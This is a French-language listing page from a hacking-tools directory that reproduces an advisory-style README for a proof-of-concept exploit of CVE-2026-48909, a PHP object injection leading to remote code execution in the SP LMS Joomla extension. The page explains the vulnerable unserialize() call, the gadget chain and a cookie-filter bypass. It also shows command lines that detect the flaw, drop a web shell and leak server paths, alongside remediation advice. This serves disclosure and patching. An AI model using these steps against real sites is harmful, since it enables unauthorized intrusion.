Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-48909 — Exploit de preuve de concept pour CVE-2026-48909 : exécution de code à distance sans authentification via injection d'objets PHP dans JoomShaper SP LMS. Inclut des conseils de détection, d'exploitation et de correction. | Kitploit
Outils/GitHubGitHub/is4yev/cve-2026-48909
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubis4yev/cve-2026-48909

CVE-2026-48909

Exploit de preuve de concept pour CVE-2026-48909 : exécution de code à distance sans authentification via injection d'objets PHP dans JoomShaper SP LMS. Inclut des conseils de détection, d'exploitation et de correction.

Voir le dépôt
232il y a 1 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-48909 — Injection d'Objet PHP dans SP LMS → RCE

CVE CVSS CWE Affected Fixed

Exécution de Code à Distance non authentifiée via Injection d'Objet PHP dans JoomShaper SP LMS (com_splms) ≤ 4.1.3 pour Joomla CMS.

Auteur : Amin İsayev / Proxima Cyber Security


Aperçu

SP LMS est une extension populaire de système de gestion de l'apprentissage pour Joomla, développée par JoomShaper, avec plus de 100 000 installations. Les versions ≤ 4.1.3 transmettent le cookie lmsOrders directement à unserialize() sans validation, permettant à un attaquant non authentifié d'injecter un objet PHP malveillant et d'exécuter du code à distance via la chaîne de gadgets native de Joomla.


Vulnérabilité

Cause Racine

components/com_splms/models/cart.php ligne 28 :

root@kitploit:~
$cookie  = Factory::getApplication()->input->cookie;
$raw     = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded);   // ← entrée utilisateur non fiable

Le cookie lmsOrders est décodé en base64 et passé directement à unserialize(). Un attaquant contrôle entièrement l'objet désérialisé.

Chaîne de Gadgets

La classe FormattedtextLogger de Joomla fournit le gadget :

root@kitploit:~
lmsOrders cookie (contrôlé par l'attaquant)
  └─► unserialize()                             [cart.php:28]
        └─► FormattedtextLogger.__destruct()    [gadget Joomla]
              └─► initFile() → File::write($path, $format)
                    └─► code PHP écrit sur le disque → RCE

Remarque : L'exécution de code à distance nécessite Joomla < 5.2.2.
Joomla 5.2.2 a corrigé FormattedtextLogger.__wakeup() (voir PR #44428).
L'injection d'objet PHP existe toujours dans com_splms ≤ 4.1.3 sur toutes les versions de Joomla.

Contournement du Filtre

Le Input\Cookie::get() de Joomla applique par défaut un filtre cmd, supprimant +, / et = de la valeur du cookie — des caractères présents dans le base64 standard. L'exploit utilise :

  • L'encodage hex2bin() pour éviter les caractères PHP interdits ($, _, {, }, \n)
  • L'alignement du remplissage pour garantir que la longueur base64 soit divisible par 3 (pas de remplissage =)
  • L'itération sur les caractères de remplissage (62 variantes) pour éliminer / et + de la sortie base64

Preuve de Concept

Détection

root@kitploit:~
python3 CVE-2026-48909.py https://target.com
root@kitploit:~
[*] Target : https://target.com
[*] Path   : /index.php?option=com_splms&view=cart
[*] Probe  : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==

[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.

Exploit

root@kitploit:~
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

PoC Screenshot

Shell actif sur https://target.com/tmp/x.php?c=id

Trouver le chemin du serveur (si inconnu) :

root@kitploit:~
# Hébergement cPanel — le chemin fuit depuis les pages d'erreur Joomla
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'

# Chemins courants à essayer :
#   /var/www/html/tmp/x.php
#   /home/USER/public_html/tmp/x.php
#   /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php

Prérequis

root@kitploit:~
pip install requests

Python 3.10+


Correctif / Remédiation

  1. Mettez à jour SP LMS vers la version ≥ 4.1.4 immédiatement
  2. Mettez à jour Joomla vers ≥ 5.2.2 pour supprimer la chaîne de gadgets
  3. En tant qu'atténuation provisoire — validez et nettoyez le cookie lmsOrders avant la désérialisation :
root@kitploit:~
// N'utilisez PAS unserialize() sur des données contrôlées par l'utilisateur
// Utilisez json_encode/json_decode à la place
$cartItems = json_decode(base64_decode($raw), true) ?? [];

Références

  • CVE-2026-48909 — cve.org
  • CVE-2026-48909 — NVD
  • GHSA-gf8c-xmwj-whrh — GitHub Advisory
  • Joomla PR #44428 — Correctif du gadget FormattedtextLogger
  • CWE-502 : Désérialisation de données non fiables
  • OWASP : Injection d'objet PHP

Avertissement

Cet outil est publié à des fins éducatives et uniquement pour des tests de sécurité autorisés.
L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce programme.
Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.


Amin İsayev / Proxima Cyber Security — 2026

Télécharger l’outil
ChampDétails
CVE IDCVE-2026-48909
GHSAGHSA-gf8c-xmwj-whrh
AffectéSP LMS (com_splms) 1.0.0 – 4.1.3
Corrigé dansSP LMS ≥ 4.1.4
Version Joomla requise< 5.2.2 (chaîne de gadgets corrigée dans 5.2.2)
CVSS 4.09.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N
CWECWE-502 : Désérialisation de données non fiables
Authentification requiseAucune
Divulgué2026-05-26
Publié2026-06-20